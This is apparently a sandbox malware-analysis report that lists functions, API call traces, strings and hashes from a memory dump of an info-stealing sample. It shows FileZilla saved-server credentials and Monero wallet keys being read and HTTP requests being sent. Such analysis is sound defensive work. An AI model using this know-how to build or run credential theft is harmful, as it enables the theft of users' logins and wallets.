Function 004DD5C8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4441156e37c01fe52a475e41c9f7adf2a2018f5f52e3f1061831859aa5589378
Instruction ID: 3771aa62d0712a1e79ba9bf754864231dc8e7328fb55c2941c374e8e7d863bdf
Opcode Fuzzy Hash: 4441156e37c01fe52a475e41c9f7adf2a2018f5f52e3f1061831859aa5589378
Instruction Fuzzy Hash: E64166F3E181145BE3189D2CEC8475AB7DAEBA4620F2B453DDA89E3744E8796C0183C2

Function 00576292 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf9efda7d1c1dc98a6c752829d21a90d3e151df6a7b04e7dc134531d63621ff
Instruction ID: 9401c25d7126507f454f8e4c5e1666b6f64efe68a8b93f6b7a9170e515af7872
Opcode Fuzzy Hash: eaf9efda7d1c1dc98a6c752829d21a90d3e151df6a7b04e7dc134531d63621ff
Instruction Fuzzy Hash: C14157F39082149BF3146E29CC4477AB7D6EF90720F2B453DDAD593780EA3919058796

Function 0061BE2C Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce5056be54e199d24b73b9e98b3b1840685c183105ec34dee7633fd20f5c9c8
Instruction ID: 181ffdf65ad595e6fc7f0304db12348b091f5ed1a2a5492dd9e56b5e32ad7890
Opcode Fuzzy Hash: 4ce5056be54e199d24b73b9e98b3b1840685c183105ec34dee7633fd20f5c9c8
Instruction Fuzzy Hash: 5031D2B220C7089FD314AF59DCC266AF7E9EF98310F56892DD7D083340E675A815CA5A

Function 00279750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00270250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 00278DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00278E0B

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
Part of subcall function 002699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
Part of subcall function 002699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
Part of subcall function 002699C0: ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
Part of subcall function 002699C0: LocalFree.KERNEL32(0026148F), ref: 00269A90
Part of subcall function 002699C0: CloseHandle.KERNEL32(000000FF), ref: 00269A9A

Part of subcall function 00278E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00278E52

GetProcessHeap.KERNEL32(00000000,000F423F,00280DBA,00280DB7,00280DB6,00280DB3), ref: 00270362
RtlAllocateHeap.NTDLL(00000000), ref: 00270369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00270385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 00270393
StrStrA.SHLWAPI(00000000,<Port>), ref: 002703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 002703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00270419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 00270427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00270463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 00270475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 00270502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 0027051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 00270532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 0027054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00270562
lstrcat.KERNEL32(?,profile: null), ref: 00270571
lstrcat.KERNEL32(?,url: ), ref: 00270580
lstrcat.KERNEL32(?,00000000), ref: 00270593
lstrcat.KERNEL32(?,00281678), ref: 002705A2
lstrcat.KERNEL32(?,00000000), ref: 002705B5
lstrcat.KERNEL32(?,0028167C), ref: 002705C4
lstrcat.KERNEL32(?,login: ), ref: 002705D3
lstrcat.KERNEL32(?,00000000), ref: 002705E6
lstrcat.KERNEL32(?,00281688), ref: 002705F5
lstrcat.KERNEL32(?,password: ), ref: 00270604
lstrcat.KERNEL32(?,00000000), ref: 00270617
lstrcat.KERNEL32(?,00281698), ref: 00270626
lstrcat.KERNEL32(?,0028169C), ref: 00270635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00280DB2), ref: 0027068E

Strings

<Host>, xrefs: 0027037C
url: , xrefs: 00270577
<User>, xrefs: 00270410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 002702A4
browser: FileZilla, xrefs: 00270559
profile: null, xrefs: 00270568
<Pass encoding="base64">, xrefs: 0027045A
login: , xrefs: 002705CA
<Port>, xrefs: 002703C6
password: , xrefs: 002705FB

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 37033d0e51da534bb05f289ddeeb86be5114c38812d8213899f275a1eed980ad
Instruction ID: 441775c95aaa8f27a3db7fe50adea81437ae60999ef45d7d00ae15c49e95068e
Opcode Fuzzy Hash: 37033d0e51da534bb05f289ddeeb86be5114c38812d8213899f275a1eed980ad
Instruction Fuzzy Hash: 3DD13E759201089BCB04FBF4DD96DEE773CAF55310F408528F106A6091EF34AA6ACF66

Function 00265960 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00264839
Part of subcall function 002647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00264849

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002659F8
StrCmpCA.SHLWAPI(?,00E2EA78), ref: 00265A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00265B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E2EA08,00000000,?,00E2A1C0,00000000,?,00281A1C), ref: 00265E71
lstrlen.KERNEL32(00000000), ref: 00265E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00265E93
RtlAllocateHeap.NTDLL(00000000), ref: 00265E9A
lstrlen.KERNEL32(00000000), ref: 00265EAF
lstrlen.KERNEL32(00000000), ref: 00265ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00265EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00265F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00265F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00265F4C
InternetCloseHandle.WININET(00000000), ref: 00265FB0
InternetCloseHandle.WININET(00000000), ref: 00265FBD
HttpOpenRequestA.WININET(00000000,00E2E9C8,?,00E2DE60,00000000,00000000,00400100,00000000), ref: 00265BF8

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

InternetCloseHandle.WININET(00000000), ref: 00265FC7

Strings

------, xrefs: 00265C0B
", xrefs: 00265CD5
x, xrefs: 00265A08
------, xrefs: 00265A96
8, xrefs: 00265CAC
", xrefs: 00265E16
------, xrefs: 00265D4C

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8$x
API String ID: 874700897-3110365316
Opcode ID: 3ad655afa3db347b3b94e09e5f3e3e982af9b56ba70aacef1a0cf711312b236e
Instruction ID: 6a34cda878386f82e9395bd93df5174f7aef94ac5456b950b55a5e688df6e2ac
Opcode Fuzzy Hash: 3ad655afa3db347b3b94e09e5f3e3e982af9b56ba70aacef1a0cf711312b236e
Instruction Fuzzy Hash: 78122171830118ABDB15EBA0DC96FEEB378BF54710F5081A9F11A62091DF702A69CF66

Function 0026CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 00278B60: GetSystemTime.KERNEL32(00280E1A,00E2A610,002805AE,?,?,002613F9,?,0000001A,00280E1A,00000000,?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 00278B86

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0026CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0026D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0026D0CE
lstrcat.KERNEL32(?,00000000), ref: 0026D208
lstrcat.KERNEL32(?,00281478), ref: 0026D217
lstrcat.KERNEL32(?,00000000), ref: 0026D22A
lstrcat.KERNEL32(?,0028147C), ref: 0026D239
lstrcat.KERNEL32(?,00000000), ref: 0026D24C
lstrcat.KERNEL32(?,00281480), ref: 0026D25B
lstrcat.KERNEL32(?,00000000), ref: 0026D26E
lstrcat.KERNEL32(?,00281484), ref: 0026D27D
lstrcat.KERNEL32(?,00000000), ref: 0026D290
lstrcat.KERNEL32(?,00281488), ref: 0026D29F
lstrcat.KERNEL32(?,00000000), ref: 0026D2B2
lstrcat.KERNEL32(?,0028148C), ref: 0026D2C1
lstrcat.KERNEL32(?,00000000), ref: 0026D2D4
lstrcat.KERNEL32(?,00281490), ref: 0026D2E3

Part of subcall function 0027A820: lstrlen.KERNEL32(00264F05,?,?,00264F05,00280DDE), ref: 0027A82B
Part of subcall function 0027A820: lstrcpy.KERNEL32(00280DDE,00000000), ref: 0027A885

lstrlen.KERNEL32(?), ref: 0026D32A
lstrlen.KERNEL32(?), ref: 0026D339

Part of subcall function 0027AA70: StrCmpCA.SHLWAPI(00E29100,0026A7A7,?,0026A7A7,00E29100), ref: 0027AA8F

DeleteFileA.KERNEL32(00000000), ref: 0026D3B4

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: e43be1fedfdd26bef72541932365485ee9eb368f6574b0b047c75aa309fe1a6e
Instruction ID: b332d411a6d585d1229279f7d7a20f1621e41bc972f8290c8653f6a24e75f0d8
Opcode Fuzzy Hash: e43be1fedfdd26bef72541932365485ee9eb368f6574b0b047c75aa309fe1a6e
Instruction Fuzzy Hash: B0E10F71920108ABCB04FBA0DD96EEE7778AF55311F508168F10BA6091DF35AE26CF67

Function 002712D0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 310COMMON

Download Yara Rule

Strings

, xrefs: 00271560
8, xrefs: 00271518
, xrefs: 00271441
P, xrefs: 002715EF

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: $8$P$
API String ID: 2001356338-1949458441
Opcode ID: 1a0f43f41f270ac214b25b65e24aea44495f135c3c47f98cdf1cff69c39f6544
Instruction ID: 76558569fb4042f1185893ca954b9d81664fc43cde9d7411ac8067c16c878505
Opcode Fuzzy Hash: 1a0f43f41f270ac214b25b65e24aea44495f135c3c47f98cdf1cff69c39f6544
Instruction Fuzzy Hash: E4C174B59502199BCB14EF60DC89FEE7778BF94304F0085A8F50EA7241DB70AAA5CF91

Function 00278320 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

RegOpenKeyExA.ADVAPI32(00000000,00E2B038,00000000,00020019,00000000,002805B6), ref: 002783A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00278426
wsprintfA.USER32 ref: 00278459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0027847B
RegCloseKey.ADVAPI32(00000000), ref: 0027848C
RegCloseKey.ADVAPI32(00000000), ref: 00278499

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Strings

0, xrefs: 002784DF
?, xrefs: 0027837A
- , xrefs: 002785A3
%s\%s, xrefs: 0027844D

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

